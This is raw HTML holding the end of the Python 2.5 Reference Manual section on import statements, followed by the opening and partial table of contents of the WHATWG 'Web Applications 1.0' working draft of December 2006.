class='grammartoken' href="notation.html#tok-name">name</a>] )* [","] ")"</code></td></tr>  <tr>    <td></td>    <td></td>    <td><code>| "from" <a class='grammartoken' href="import.html#tok-module">module</a> "import" "*"</code></td></tr>  <tr>    <td><a id='tok-module' xml:id='tok-module'>module</a></td>    <td>::=</td>    <td>(<a class='grammartoken' href="identifiers.html#tok-identifier">identifier</a> ".")* <a class='grammartoken' href="identifiers.html#tok-identifier">identifier</a></td></tr></table></div><a class="grammar-footer"  href="grammar.txt" type="text/plain"  >Download entire grammar as text.</a></dd></dl><p>Import statements are executed in two steps: (1) find a module, andinitialize it if necessary; (2) define a name or names in the localnamespace (of the scope where the <tt class="keyword">import</tt> statement occurs).The first form (without <tt class="keyword">from</tt>) repeats these steps for eachidentifier in the list.  The form with <tt class="keyword">from</tt> performs step(1) once, and then performs step (2) repeatedly.<p>In this context, to ``initialize'' a built-in or extension module means tocall an initialization function that the module must provide for the purpose(in the reference implementation, the function's name is obtained byprepending string ``init'' to the module's name); to ``initialize'' aPython-coded module means to execute the module's body.<p>The system maintains a table of modules that have been or are beinginitialized,indexed by module name.  This table isaccessible as <code>sys.modules</code>.  When a module name is found inthis table, step (1) is finished.  If not, a search for a moduledefinition is started.  When a module is found, it is loaded.  Detailsof the module searching and loading process are implementation andplatform specific.  It generally involves searching for a ``built-in''module with the given name and then searching a list of locationsgiven as <code>sys.path</code>.<a id='l2h-539' xml:id='l2h-539'></a><a id='l2h-557' xml:id='l2h-557'></a><a id='l2h-540' xml:id='l2h-540'></a><a id='l2h-541' xml:id='l2h-541'></a><a id='l2h-542' xml:id='l2h-542'></a><a id='l2h-558' xml:id='l2h-558'></a><a id='l2h-543' xml:id='l2h-543'></a><a id='l2h-544' xml:id='l2h-544'></a><p>If a built-in module is found,<a id='l2h-545' xml:id='l2h-545'></a> itsbuilt-in initialization code is executed and step (1) is finished.  Ifno matching file is found,<tt class="exception">ImportError</tt><a id='l2h-546' xml:id='l2h-546'></a> is raised.<a id='l2h-559' xml:id='l2h-559'></a>If a file is found, it is parsed,yielding an executable code block.  If a syntax error occurs,<tt class="exception">SyntaxError</tt><a id='l2h-547' xml:id='l2h-547'></a> is raised.  Otherwise, anempty module of the given name is created and inserted in the moduletable, and then the code block is executed in the context of thismodule.  Exceptions during this execution terminate step (1).<p>When step (1) finishes without raising an exception, step (2) canbegin.<p>The first form of <tt class="keyword">import</tt> statement binds the module name inthe local namespace to the module object, and then goes on to importthe next identifier, if any.  If the module name is followed by<tt class="keyword">as</tt>, the name following <tt class="keyword">as</tt> is used as the localname for the module. <p>The <tt class="keyword">from</tt> form does not bind the module name: it goes through thelist of identifiers, looks each one of them up in the module found in step(1), and binds the name in the local namespace to the object thus found. As with the first form of <tt class="keyword">import</tt>, an alternate local name can besupplied by specifying "<tt class="keyword">as</tt> localname".  If a name is not found,<tt class="exception">ImportError</tt> is raised.  If the list of identifiers is replacedby a star ("<tt class="character">*</tt>"), all public names defined in the module arebound in the local namespace of the <tt class="keyword">import</tt> statement..<a id='l2h-548' xml:id='l2h-548'></a><a id='l2h-549' xml:id='l2h-549'></a><p>The <em>public names</em> defined by a module are determined by checkingthe module's namespace for a variable named <code>__all__</code>; ifdefined, it must be a sequence of strings which are names defined orimported by that module.  The names given in <code>__all__</code> are allconsidered public and are required to exist.  If <code>__all__</code> is notdefined, the set of public names includes all names found in themodule's namespace which do not begin with an underscore character("<tt class="character">_</tt>").  <code>__all__</code> should contain the entire public API.It is intended to avoid accidentally exporting items that are not partof the API (such as library modules which were imported and used withinthe module).<a id='l2h-551' xml:id='l2h-551'></a><p>The <tt class="keyword">from</tt> form with "<tt class="samp">*</tt>" may only occur in a modulescope.  If the wild card form of import -- "<tt class="samp">import *</tt>" -- isused in a function and the function contains or is a nested block withfree variables, the compiler will raise a <tt class="exception">SyntaxError</tt>.<p><a id='l2h-552' xml:id='l2h-552'></a><a id='l2h-553' xml:id='l2h-553'></a><p><strong>Hierarchical module names:</strong><a id='l2h-554' xml:id='l2h-554'></a>when the module names contains one or more dots, the module searchpath is carried out differently.  The sequence of identifiers up tothe last dot is used to find a ``package''<a id='l2h-560' xml:id='l2h-560'></a>; the finalidentifier is then searched inside the package.  A package isgenerally a subdirectory of a directory on <code>sys.path</code> that has afile <span class="file">__init__.py</span>.<a id='l2h-561' xml:id='l2h-561'></a>[XXX Can't be bothered to spell this out right now; see the URL<a class="url" href="http://www.python.org/doc/essays/packages.html">http://www.python.org/doc/essays/packages.html</a> for more details, alsoabout how the module search works from inside a package.]<p>The built-in function <tt class="function">__import__()</tt> is provided to supportapplications that determine which modules need to be loadeddynamically; refer to <a class="ulink" href="../lib/built-in-funcs.html"  >Built-inFunctions</a> in the<em class="citetitle"><a href="../lib/lib.html" title="Python Library Reference" >Python Library Reference</a></em> for additionalinformation.<a id='l2h-555' xml:id='l2h-555'></a><p><p><br /></p><hr class='online-navigation' /><div class='online-navigation'><!--Table of Child-Links--><a name="CHILD_LINKS"><strong>Subsections</strong></a><ul class="ChildLinks"><li><a href="future.html">6.12.1 Future statements</a></ul><!--End of Table of Child-Links--></div><div class="navigation"><div class='online-navigation'><p></p><hr /><table align="center" width="100%" cellpadding="0" cellspacing="2"><tr><td class='online-navigation'><a rel="prev" title="6.11 the continue statement"  href="continue.html"><img src='../icons/previous.png'  border='0' height='32'  alt='Previous Page' width='32' /></a></td><td class='online-navigation'><a rel="parent" title="6. simple statements"  href="simple.html"><img src='../icons/up.png'  border='0' height='32'  alt='Up one Level' width='32' /></a></td><td class='online-navigation'><a rel="next" title="6.12.1 future statements"  href="future.html"><img src='../icons/next.png'  border='0' height='32'  alt='Next Page' width='32' /></a></td><td align="center" width="100%">Python Reference Manual</td><td class='online-navigation'><a rel="contents" title="Table of Contents"  href="contents.html"><img src='../icons/contents.png'  border='0' height='32'  alt='Contents' width='32' /></a></td><td class='online-navigation'><img src='../icons/blank.png'  border='0' height='32'  alt='' width='32' /></td><td class='online-navigation'><a rel="index" title="Index"  href="genindex.html"><img src='../icons/index.png'  border='0' height='32'  alt='Index' width='32' /></a></td></tr></table><div class='online-navigation'><b class="navlabel">Previous:</b><a class="sectref" rel="prev" href="continue.html">6.11 The continue statement</a><b class="navlabel">Up:</b><a class="sectref" rel="parent" href="simple.html">6. Simple statements</a><b class="navlabel">Next:</b><a class="sectref" rel="next" href="future.html">6.12.1 Future statements</a></div></div><hr /><span class="release-info">Release 2.5, documentation updated on 19th September, 2006.</span></div><!--End of Navigation Panel--><address>See <i><a href="about.html">About this document...</a></i> for information on suggesting changes.</address></body></html>
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-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"><html lang=en-GB-hixie> <head>  <title>Web Applications 1.0</title>  <link href="/style/specification" rel=stylesheet type="text/css">  <link href="/images/icon" rel=icon>  <style type="text/css">   h4 + .element { margin-top: -2.5em; padding-top: 2em; }   h4 + p + .element { margin-top: -5em; padding-top: 4em; }   .element { background: #EEFFEE; color: black; margin: 0 0 1em -1em; padding: 0 1em 0.25em 0.75em; border-left: solid #99FF99 0.25em; -padding: 0; /* that last decl is for IE6. Try removing it, it's hilarious! */ }   .proposal { border: blue solid; padding: 1em; }   table.matrix, table.matrix td { border: none; text-align: right; }   table.matrix { margin-left: 2em; }  </style> <body class=draft>  <div class=head>   <p><a class=logo href="http://www.whatwg.org/" rel=home><img alt=WHATWG    src="/images/logo"></a></p>   <h1 id=web-applications>Web Applications 1.0</h1>   <h2 class="no-num no-toc" id=working>Working Draft AMPERSANDmdash; 23 December    2006</h2>   <p>You can take part in this work. <a    href="http://www.whatwg.org/mailing-list">Join the working group's    discussion list.</a></p>   <dl>    <dt>This version:    <dd><a     href="http://www.whatwg.org/specs/web-apps/current-work/">http://www.whatwg.org/specs/web-apps/current-work/</a>    <dt>Latest version:    <dd><a     href="http://www.whatwg.org/specs/web-apps/current-work/">http://www.whatwg.org/specs/web-apps/current-work/</a>    <dt>Previous versions:    <dd><a     href="http://www.whatwg.org/specs/web-apps/2006-01-01/">http://www.whatwg.org/specs/web-apps/2006-01-01/</a><!-- (<a href="diff-2006-01-01">diffs</a>)-->    <dd><a     href="http://www.whatwg.org/specs/web-apps/2005-09-01/">http://www.whatwg.org/specs/web-apps/2005-09-01/</a><!-- (<a href="diff-2005-09-01">diffs</a>)-->    <dd>Version history from 2006-03-01 available by interactive Web     interface at: <a     href="http://html5.org/tools/specification-diff">http://html5.org/tools/specification-diff</a>    <dd>Version history from 2006-03-01 available by Subversion interface at:     <a href="http://svn.whatwg.org/">http://svn.whatwg.org/</a>    <dt>Editor:    <dd>Ian Hickson, Google, ian@hixie.ch   </dl>   <p class=copyright>AMPERSANDcopy; Copyright 2004-2006 Apple Computer, Inc.,    Mozilla Foundation, and Opera Software ASA.</p>   <p class=copyright>You are granted a license to use, reproduce and create    derivative works of this document.</p>  </div>  <hr>  <h2 class="no-num no-toc" id=abstract>Abstract</h2>  <p>This specification introduces features to HTML and the DOM that ease the   authoring of Web-based applications. Additions include the context menus,   a direct-mode graphics canvas, inline popup windows, and server-sent   events.  <h2 class="no-num no-toc" id=status>Status of this document</h2>  <p><strong>This is a work in progress!</strong> This document is changing   on a daily if not hourly basis in response to comments and as a general   part of its development process. Comments are very welcome, please send   them to <a href="mailto:whatwg@whatwg.org">whatwg@whatwg.org</a>. Thank   you.  <p>Implementors should be aware that this specification is not stable.   <strong>Implementors who are not taking part in the discussions are likely   to find the specification changing out from under them in incompatible   ways.</strong> Vendors interested in implementing this specification   before it eventually reaches the call for implementations should join the   <a href="/mailing-list">WHATWG mailing list</a> and take part in the   discussions.  <p>This draft may contain namespaces that use the <code>uuid:</code> URI   scheme. These are temporary and will be changed before those parts of the   specification are ready to be implemented in shipping products.  <p>To find the latest version of this working draft, please follow the   "Latest version" link above.  <p>This specification is intended to replace (be the new version of) what   was previously the HTML4, XHTML 1.x, and DOM2 HTML specifications.  <h3 class="no-num no-toc" id=stability0>Stability</h3>  <p>Different parts of this specification are at different levels of   maturity.  <div id=stability></div>  <p class=big-issue>Known issues are usually marked like this. There are   some spec-wide issues that have not yet been addressed: first,   case-sensitivity is a very poorly handled topic right now; and second,   there's a ghost of a <dfn id=documentui>DocumentUI</dfn> interface going   around.  <h2 class="no-num no-toc" id=contents>Table of contents</h2>  <!--begin-toc-->  <ul class=toc>   <li><a href="#introduction"><span class=secno>1. </span>Introduction</a>    <ul class=toc>     <li><a href="#scope"><span class=secno>1.1. </span>Scope</a>     <li><a href="#structure"><span class=secno>1.2. </span>Structure of this      specification</a>      <ul class=toc>       <li><a href="#how-to"><span class=secno>1.2.1. </span>How to read this        specification</a>      </ul>     <li><a href="#conformance"><span class=secno>1.3. </span>Conformance      requirements</a>      <ul class=toc>       <li><a href="#dependencies"><span class=secno>1.3.1.        </span>Dependencies</a>       <li><a href="#features"><span class=secno>1.3.2. </span>Features        defined in other specifications</a>       <li><a href="#relationship"><span class=secno>1.3.3.        </span>Relationship to HTML 4.01, XHTML 1.1, DOM2 HTML</a>       <li><a href="#relationship0"><span class=secno>1.3.4.        </span>Relationship to XHTML2</a>       <li><a href="#relationship1"><span class=secno>1.3.5.        </span>Relationship to XUL, WPF/XAML, and other proprietary UI        languages</a>      </ul>     <li><a href="#terminology"><span class=secno>1.4. </span>Terminology</a>            <ul class=toc>       <li><a href="#html-vs"><span class=secno>1.4.1. </span>HTML vs        XHTML</a>      </ul>    </ul>   <li><a href="#dom"><span class=secno>2. </span>The Document Object    Model</a>    <ul class=toc>     <li><a href="#documents"><span class=secno>2.1. </span>Documents</a>      <ul class=toc>       <li><a href="#resource"><span class=secno>2.1.1. </span><dfn        id=resource0>Resource metadata management</dfn></a>      </ul>     <li><a href="#elements"><span class=secno>2.2. </span>Elements</a>      <ul class=toc>       <li><a href="#reflecting"><span class=secno>2.2.1. </span>Reflecting        content attributes in DOM attributes</a>      </ul>     <li><a href="#common"><span class=secno>2.3. </span>Common DOM      interfaces</a>      <ul class=toc>       <li><a href="#collections"><span class=secno>2.3.1.        </span>Collections</a>        <ul class=toc>         <li><a href="#htmlcollection"><span class=secno>2.3.1.1.          </span>HTMLCollection</a>         <li><a href="#htmlformcontrolscollection"><span class=secno>2.3.1.2.          </span>HTMLFormControlsCollection</a>         <li><a href="#htmloptionscollection"><span class=secno>2.3.1.3.          </span>HTMLOptionsCollection</a>        </ul>       <li><a href="#domtokenstring"><span class=secno>2.3.2.        </span>DOMTokenString</a>       <li><a href="#dom-feature"><span class=secno>2.3.3. </span>DOM feature        strings</a>      </ul>     <li><a href="#dom-tree"><span class=secno>2.4. </span><dfn      id=dom-tree0>DOM tree accessors</dfn></a>     <li><a href="#dynamic"><span class=secno>2.5. </span><dfn      id=dynamic2>Dynamic markup insertion</dfn></a>      <ul class=toc>       <li><a href="#controlling"><span class=secno>2.5.1. </span>Controlling        the input stream</a>       <li><a href="#dynamic0"><span class=secno>2.5.2. </span>Dynamic markup        insertion in HTML</a>       <li><a href="#dynamic1"><span class=secno>2.5.3. </span>Dynamic markup        insertion in XML</a>      </ul>     <li><a href="#apis-in"><span class=secno>2.6. </span>APIs in HTML      documents</a>    </ul>   <li><a href="#semantics"><span class=secno>3. </span>Semantics and    structure of HTML elements</a>    <ul class=toc>     <li><a href="#semantics-intro"><span class=secno>3.1.      </span>Introduction</a>     <li><a href="#common0"><span class=secno>3.2. </span>Common      microsyntaxes</a>      <ul class=toc>       <li><a href="#common1"><span class=secno>3.2.1. </span>Common parser        idioms</a>       <li><a href="#numbers"><span class=secno>3.2.2. </span>Numbers</a>        <ul class=toc>         <li><a href="#unsigned"><span class=secno>3.2.2.1. </span>Unsigned          integers</a>         <li><a href="#signed"><span class=secno>3.2.2.2. </span>Signed          integers</a>         <li><a href="#real-numbers"><span class=secno>3.2.2.3. </span>Real          numbers</a>         <li><a href="#ratios"><span class=secno>3.2.2.4. </span>Ratios</a>         <li><a href="#percentages-and-dimensions"><span class=secno>3.2.2.5.          </span>Percentages and dimensions</a>        </ul>       <li><a href="#dates"><span class=secno>3.2.3. </span>Dates and        times</a>        <ul class=toc>         <li><a href="#specific"><span class=secno>3.2.3.1. </span>Specific          moments in time</a>         <li><a href="#vaguer"><span class=secno>3.2.3.2. </span>Vaguer          moments in time</a>        </ul>       <li><a href="#tokens"><span class=secno>3.2.4. </span>Tokens</a>      </ul>     <li><a href="#documents0"><span class=secno>3.3. </span>Documents and      document fragments</a>      <ul class=toc>       <li><a href="#semantics0"><span class=secno>3.3.1.        </span>Semantics</a>       <li><a href="#structure0"><span class=secno>3.3.2.        </span>Structure</a>       <li><a href="#kinds"><span class=secno>3.3.3. </span>Kinds of        elements</a>        <ul class=toc>         <li><a href="#block-level"><span class=secno>3.3.3.1. </span><dfn          id=block-level0>Block-level elements</dfn></a>         <li><a href="#inline-level"><span class=secno>3.3.3.2. </span><dfn          id=inline-level0>Inline-level content</dfn></a>         <li><a href="#determining"><span class=secno>3.3.3.3. </span><dfn          id=determining1>Determining if a particular element contains          block-level elements or inline-level content</dfn></a>         <li><a href="#interactive0"><span class=secno>3.3.3.4. </span><dfn          id=interactive2>Interactive elements</dfn></a>         <li><a href="#paragraphs"><span class=secno>3.3.3.5.          </span>Paragraphs</a>        </ul>      </ul>     <li><a href="#global"><span class=secno>3.4. </span>Global      attributes</a>      <ul class=toc>       <li><a href="#the-id"><span class=secno>3.4.1. </span>The <dfn id=id        title=attr-id><code>id</code></dfn> attribute</a>       <li><a href="#the-title"><span class=secno>3.4.2. </span>The <dfn        id=title title=attr-title><code>title</code></dfn> attribute</a>       <li><a href="#the-lang"><span class=secno>3.4.3. </span>The <dfn        id=lang title=attr-lang><code>lang</code></dfn> (HTML only) and <dfn        id=xmllang title=attr-xml-lang><code>xml:lang</code></dfn> (XML only)        attributes</a>       <li><a href="#the-dir"><span class=secno>3.4.4. </span>The <dfn id=dir        title=attr-dir><code>dir</code></dfn> attribute</a>       <li><a href="#classes"><span class=secno>3.4.5. </span>Classes</a>        <ul class=toc>         <li><a href="#predefined"><span class=secno>3.4.5.1.          </span>Predefined class names</a>          <ul class=toc>           <li><a href="#class"><span class=secno>3.4.5.1.1. </span>Class            name "<dfn id=copyright            title=class-copyright><code>copyright</code></dfn>"</a>           <li><a href="#class0"><span class=secno>3.4.5.1.2. </span>Class            name "<dfn id=error            title=class-error><code>error</code></dfn>"</a>           <li><a href="#class1"><span class=secno>3.4.5.1.3. </span>Class            name "<dfn id=example0            title=class-example><code>example</code></dfn>"</a>           <li><a href="#class2"><span class=secno>3.4.5.1.4. </span>Class            name "<dfn id=issue            title=class-issue><code>issue</code></dfn>"</a>           <li><a href="#class3"><span class=secno>3.4.5.1.5. </span>Class            name "<dfn id=note title=class-note><code>note</code></dfn>"</a>           <li><a href="#class4"><span class=secno>3.4.5.1.6. </span>Class            name "<dfn id=search            title=class-search><code>search</code></dfn>"</a>           <li><a href="#class5"><span class=secno>3.4.5.1.7. </span>Class            name "<dfn id=warning            title=class-warning><code>warning</code></dfn>"</a>          </ul>         <li><a href="#other"><span class=secno>3.4.5.2. </span>Other          classes</a>        </ul>      </ul>     <li><a href="#interaction"><span class=secno>3.5. </span><dfn      id=interaction1>Interaction</dfn></a>      <ul class=toc>       <li><a href="#activation"><span class=secno>3.5.1.        </span>Activation</a>       <li><a href="#focus"><span class=secno>3.5.2. </span>Focus</a>        <ul class=toc>         <li><a href="#focus-management"><span class=secno>3.5.2.1.          </span>Focus management</a>         <li><a href="#sequential"><span class=secno>3.5.2.2.          </span>Sequential focus navigation</a>        </ul>      </ul>     <li><a href="#the-root"><span class=secno>3.6. </span>The root      element</a>      <ul class=toc>       <li><a href="#the-html"><span class=secno>3.6.1. </span>The <dfn        id=html><code>html</code></dfn> element</a>      </ul>     <li><a href="#document"><span class=secno>3.7. </span>Document      metadata</a>      <ul class=toc>       <li><a href="#the-head"><span class=secno>3.7.1. </span>The <dfn        id=head><code>head</code></dfn> element</a>       <li><a href="#the-title0"><span class=secno>3.7.2. </span>The <dfn        id=title0><code>title</code></dfn> element</a>       <li><a href="#the-base"><span class=secno>3.7.3. </span>The <dfn        id=base><code>base</code></dfn> element</a>       <li><a href="#the-link"><span class=secno>3.7.4. </span>The <dfn        id=link><code>link</code></dfn> element</a>       <li><a href="#meta"><span class=secno>3.7.5. </span>The <dfn        id=meta0><code>meta</code></dfn> element</a>        <ul class=toc>         <li><a href="#standard"><span class=secno>3.7.5.1. </span>Standard          metadata names</a>         <li><a href="#other0"><span class=secno>3.7.5.2. </span>Other          metadata names</a>         <li><a href="#charset"><span class=secno>3.7.5.3. </span>Specifying          and establishing the document's character encoding</a>        </ul>       <li><a href="#the-style"><span class=secno>3.7.6. </span>The <dfn        id=style><code>style</code></dfn> element</a>      </ul>     <li><a href="#sections"><span class=secno>3.8. </span>Sections</a>      <ul class=toc>       <li><a href="#the-body"><span class=secno>3.8.1. </span>The <dfn        id=body><code>body</code></dfn> element</a>       <li><a href="#the-section"><span class=secno>3.8.2. </span>The <dfn        id=section><code>section</code></dfn> element</a>       <li><a href="#the-nav"><span class=secno>3.8.3. </span>The <dfn        id=nav><code>nav</code></dfn> element</a>       <li><a href="#the-article"><span class=secno>3.8.4. </span>The <dfn        id=article><code>article</code></dfn> element</a>       <li><a href="#the-blockquote"><span class=secno>3.8.5. </span>The <dfn        id=blockquote><code>blockquote</code></dfn> element</a>       <li><a href="#the-aside"><span class=secno>3.8.6. </span>The <dfn        id=aside><code>aside</code></dfn> element</a>       <li><a href="#the-h1"><span class=secno>3.8.7. </span>The <dfn        id=h1><code>h1</code></dfn>, <dfn id=h2><code>h2</code></dfn>, <dfn        id=h3><code>h3</code></dfn>, <dfn id=h4><code>h4</code></dfn>, <dfn        id=h5><code>h5</code></dfn>, and <dfn id=h6><code>h6</code></dfn>        elements</a>       <li><a href="#the-header"><span class=secno>3.8.8. </span>The <dfn        id=header><code>header</code></dfn> element</a>       <li><a href="#the-footer"><span class=secno>3.8.9. </span>The <dfn        id=footer><code>footer</code></dfn> element</a>       <li><a href="#the-address"><span class=secno>3.8.10. </span>The <dfn        id=address><code>address</code></dfn> element</a>       <li><a href="#headings"><span class=secno>3.8.11. </span><dfn        id=headings0>Headings and sections</dfn></a>        <ul class=toc>         <li><a href="#outlines"><span class=secno>3.8.11.1. </span>Creating          an outline</a>         <li><a href="#associatedSection"><span class=secno>3.8.11.2.          </span>Determining which heading and section applies to a          particular node</a>        </ul>      </ul>     <li><a href="#prose"><span class=secno>3.9. </span>Prose</a>      <ul class=toc>       <li><a href="#the-p"><span class=secno>3.9.1. </span>The <dfn        id=p><code>p</code></dfn> element</a>       <li><a href="#the-hr"><span class=secno>3.9.2. </span>The <dfn        id=hr><code>hr</code></dfn> element</a>       <li><a href="#the-br"><span class=secno>3.9.3. </span>The <dfn        id=br><code>br</code></dfn> element</a>       <li><a href="#the-dialog"><span class=secno>3.9.4. </span>The <dfn        id=dialog><code>dialog</code></dfn> element</a>      </ul>     <li><a href="#preformatted"><span class=secno>3.10. </span>Preformatted      text</a>      <ul class=toc>       <li><a href="#the-pre"><span class=secno>3.10.1. </span>The <dfn        id=pre><code>pre</code></dfn> element</a>      </ul>     <li><a href="#lists"><span class=secno>3.11. </span>Lists</a>      <ul class=toc>       <li><a href="#the-ol"><span class=secno>3.11.1. </span>The <dfn        id=ol><code>ol</code></dfn> element</a>       <li><a href="#the-ul"><span class=secno>3.11.2. </span>The <dfn        id=ul><code>ul</code></dfn> element</a>       <li><a href="#the-li"><span class=secno>3.11.3. </span>The <dfn        id=li><code>li</code></dfn> element</a>       <li><a href="#the-dl"><span class=secno>3.11.4. </span>The <dfn        id=dl><code>dl</code></dfn> element</a>       <li><a href="#the-dt"><span class=secno>3.11.5. </span>The <dfn        id=dt><code>dt</code></dfn> element</a>       <li><a href="#the-dd"><span class=secno>3.11.6. </span>The <dfn        id=dd><code>dd</code></dfn> element</a>      </ul>     <li><a href="#phrase"><span class=secno>3.12. </span>Phrase elements</a>            <ul class=toc>       <li><a href="#the-a"><span class=secno>3.12.1. </span>The <dfn        id=a><code>a</code></dfn> element</a>       <li><a href="#the-q"><span class=secno>3.12.2. </span>The <dfn        id=q><code>q</code></dfn> element</a>       <li><a href="#the-cite"><span class=secno>3.12.3. </span>The <dfn        id=cite><code>cite</code></dfn> element</a>       <li><a href="#the-em"><span class=secno>3.12.4. </span>The <dfn        id=em><code>em</code></dfn> element</a>       <li><a href="#the-strong"><span class=secno>3.12.5. </span>The <dfn        id=strong><code>strong</code></dfn> element</a>       <li><a href="#the-small"><span class=secno>3.12.6. </span>The <dfn        id=small><code>small</code></dfn> element</a>       <li><a href="#the-m"><span class=secno>3.12.7. </span>The <dfn        id=m><code>m</code></dfn> element</a>       <li><a href="#the-dfn"><span class=secno>3.12.8. </span>The <dfn        id=dfn><code>dfn</code></dfn> element</a>       <li><a href="#the-abbr"><span class=secno>3.12.9. </span>The <dfn        id=abbr><code>abbr</code></dfn> element</a>       <li><a href="#the-time"><span class=secno>3.12.10. </span>The <dfn        id=time><code>time</code></dfn> element</a>       <li><a href="#the-meter"><span class=secno>3.12.11. </span>The <dfn        id=meter><code>meter</code></dfn> element</a>       <li><a href="#the-progress"><span class=secno>3.12.12. </span>The <dfn        id=progress><code>progress</code></dfn> element</a>       <li><a href="#the-code"><span class=secno>3.12.13. </span>The <dfn        id=code><code>code</code></dfn> element</a>       <li><a href="#the-var"><span class=secno>3.12.14. </span>The <dfn        id=var><code>var</code></dfn> element</a>       <li><a href="#the-samp"><span class=secno>3.12.15. </span>The <dfn        id=samp><code>samp</code></dfn> element</a>       <li><a href="#the-kbd"><span class=secno>3.12.16. </span>The <dfn        id=kbd><code>kbd</code></dfn> element</a>       <li><a href="#the-sup"><span class=secno>3.12.17. </span>The <dfn        id=sup><code>sup</code></dfn> and <dfn id=sub><code>sub</code></dfn>        elements</a>       <li><a href="#the-span"><span class=secno>3.12.18. </span>The <dfn        id=span><code>span</code></dfn> element</a>       <li><a href="#the-i"><span class=secno>3.12.19. </span>The <dfn        id=i><code>i</code></dfn> element</a>       <li><a href="#the-b"><span class=secno>3.12.20. </span>The <dfn        id=b><code>b</code></dfn> element</a>       <li><a href="#the-bdo"><span class=secno>3.12.21. </span>The <dfn        id=bdo><code>bdo</code></dfn> element</a>      </ul>     <li><a href="#edits"><span class=secno>3.13. </span>Edits</a>      <ul class=toc>       <li><a href="#the-ins"><span class=secno>3.13.1. </span>The <dfn        id=ins><code>ins</code></dfn> element</a>       <li><a href="#the-del"><span class=secno>3.13.2. </span>The <dfn        id=del><code>del</code></dfn> element</a>       <li><a href="#attributes"><span class=secno>3.13.3. </span>Attributes        common to <code>ins</code> and <code>del</code> elements</a>      </ul>     <li><a href="#embedded"><span class=secno>3.14. </span>Embedded      content</a>      <ul class=toc>       <li><a href="#the-img"><span class=secno>3.14.1. </span>The <dfn        id=img><code>img</code></dfn> element</a>       <li><a href="#the-iframe"><span class=secno>3.14.2. </span>The <dfn        id=iframe><code>iframe</code></dfn> element</a>       <li><a href="#the-embed"><span class=secno>3.14.3. </span>The <dfn        id=embed><code>embed</code></dfn> element</a>       <li><a href="#the-object"><span class=secno>3.14.4. </span>The <dfn        id=object><code>object</code></dfn> element</a>       <li><a href="#the-param"><span class=secno>3.14.5. </span>The <dfn        id=param><code>param</code></dfn> element</a>       <li><a href="#the-canvas"><span class=secno>3.14.6. </span>The <dfn        id=canvas0><code>canvas</code></dfn> element</a>        <ul class=toc>         <li><a href="#the-2d"><span class=secno>3.14.6.1. </span>The 2D          context</a>          <ul class=toc>           <li><a href="#the-canvas0"><span class=secno>3.14.6.1.1.            </span>The canvas state</a>           <li><a href="#transformations"><span class=secno>3.14.6.1.2.            </span><dfn id=transformations0>Transformations</dfn></a>           <li><a href="#compositing"><span class=secno>3.14.6.1.3.            </span>Compositing</a>           <li><a href="#colors"><span class=secno>3.14.6.1.4. </span>Colors            and styles</a>           <li><a href="#line-styles"><span class=secno>3.14.6.1.5.            </span>Line styles</a>           <li><a href="#shadows"><span class=secno>3.14.6.1.6. </span><dfn            id=shadows0>Shadows</dfn></a>           <li><a href="#simple"><span class=secno>3.14.6.1.7. </span>Simple            shapes (rectangles)</a>           <li><a href="#complex"><span class=secno>3.14.6.1.8.            </span>Complex shapes (paths)</a>           <li><a href="#images"><span class=secno>3.14.6.1.9.            </span>Images</a>           <li><a href="#pixel"><span class=secno>3.14.6.1.10. </span><dfn            id=pixel0>Pixel manipulation</dfn></a>           <li><a href="#drawing"><span class=secno>3.14.6.1.11.            </span>Drawing model</a>          </ul>        </ul>       <li><a href="#the-map"><span class=secno>3.14.7. </span>The <dfn        id=map><code>map</code></dfn> element</a>       <li><a href="#the-area"><span class=secno>3.14.8. </span>The <dfn        id=area><code>area</code></dfn> element</a>       <li><a href="#the-figure"><span class=secno>3.14.9. </span>The <dfn        id=figure><code>figure</code></dfn> element</a>      </ul>     <li><a href="#tabular"><span class=secno>3.15. </span>Tabular data</a>      <ul class=toc>       <li><a href="#the-table"><span class=secno>3.15.1. </span>The <dfn        id=table><code>table</code></dfn> element</a>       <li><a href="#the-caption"><span class=secno>3.15.2. </span>The <dfn        id=caption><code>caption</code></dfn> element</a>       <li><a href="#the-colgroup"><span class=secno>3.15.3. </span>The <dfn        id=colgroup><code>colgroup</code></dfn> element</a>       <li><a href="#the-col"><span class=secno>3.15.4. </span>The <dfn        id=col><code>col</code></dfn> element</a>       <li><a href="#the-tbody"><span class=secno>3.15.5. </span>The <dfn        id=tbody><code>tbody</code></dfn> element</a>       <li><a href="#the-thead"><span class=secno>3.15.6. </span>The <dfn        id=thead><code>thead</code></dfn> element</a>       <li><a href="#the-tfoot"><span class=secno>3.15.7. </span>The <dfn        id=tfoot><code>tfoot</code></dfn> element</a>       <li><a href="#the-tr"><span class=secno>3.15.8. </span>The <dfn        id=tr><code>tr</code></dfn> element</a>       <li><a href="#the-td"><span class=secno>3.15.9. </span>The <dfn        id=td><code>td</code></dfn> element</a>       <li><a href="#the-th"><span class=secno>3.15.10. </span>The <dfn        id=th><code>th</code></dfn> element</a>       <li><a href="#processing"><span class=secno>3.15.11. </span>Processing        model</a>        <ul class=toc>         <li><a href="#forming"><span class=secno>3.15.11.1. </span>Forming a          table</a>         <li><a href="#header-and-data-cell-semantics"><span          class=secno>3.15.11.2. </span>Forming relationships between data          cells and header cells</a>        </ul>      </ul>     <li><a href="#forms"><span class=secno>3.16. </span>Forms</a>      <ul class=toc>       <li><a href="#the-form"><span class=secno>3.16.1. </span>The        <code>form</code> element</a>       <li><a href="#the-fieldset"><span class=secno>3.16.2. </span>The        <code>fieldset</code> element</a>       <li><a href="#the-input"><span class=secno>3.16.3. </span>The        <code>input</code> element</a>       <li><a href="#the-button"><span class=secno>3.16.4. </span>The        <code>button</code> element</a>       <li><a href="#the-label"><span class=secno>3.16.5. </span>The        <code>label</code> element</a>       <li><a href="#the-select"><span class=secno>3.16.6. </span>The        <code>select</code> element</a>       <li><a href="#the-datalist"><span class=secno>3.16.7. </span>The        <code>datalist</code> element</a>       <li><a href="#the-optgroup"><span class=secno>3.16.8. </span>The        <code>optgroup</code> element</a>       <li><a href="#the-option"><span class=secno>3.16.9. </span>The        <code>option</code> element</a>       <li><a href="#the-textarea"><span class=secno>3.16.10. </span>The        <code>textarea</code> element</a>       <li><a href="#the-output"><span class=secno>3.16.11. </span>The        <code>output</code> element</a>       <li><a href="#processing0"><span class=secno>3.16.12.        </span>Processing model</a>        <ul class=toc>         <li><a href="#form-submission"><span class=secno>3.16.12.1.          </span>Form submission</a>        </ul>      </ul>     <li><a href="#scripting"><span class=secno>3.17. </span>Scripting</a>      <ul class=toc>       <li><a href="#script"><span class=secno>3.17.1. </span>The <dfn        id=script1><code>script</code></dfn> element</a>     